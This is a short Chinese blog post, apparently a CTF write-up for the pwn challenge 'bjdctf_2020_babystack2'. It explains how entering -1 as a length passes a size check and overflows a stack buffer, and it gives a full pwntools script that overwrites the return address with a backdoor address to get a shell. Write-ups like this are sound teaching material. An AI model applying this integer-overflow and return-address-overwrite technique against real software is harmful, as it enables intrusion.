bjdctf_2020_babystack2

先看一下伪代码

 想要让read函数存在溢出,起码要让read的nbytes大于0x10,但是又被上面的if条件给限制住了,不能大于0x10,那么这里存在一个整数溢出,如果我们输入的是 -1 那么就可以绕过if条件了,同时可以看到read函数的nbytes是unsigned int,unsigned int是无符号整型,遇到-1就会变成unsigned int的最大值,这样就可以让栈溢出

from pwn import *

r=remote('node3.buuoj.cn',25624)
#r=process('./bjdctf_2020_babystack2')
backdoor_addr=0x400726

r.recvuntil('[+]Please input the length of your name:')
r.sendline('-1')

payload='a'*0x10+'b'*0x8
payload+=p64(backdoor_addr)
r.sendline(payload)

r.interactive()

 

posted @ 2020-03-24 10:31  高诺琪  阅读(1299)  评论(0编辑  收藏  举报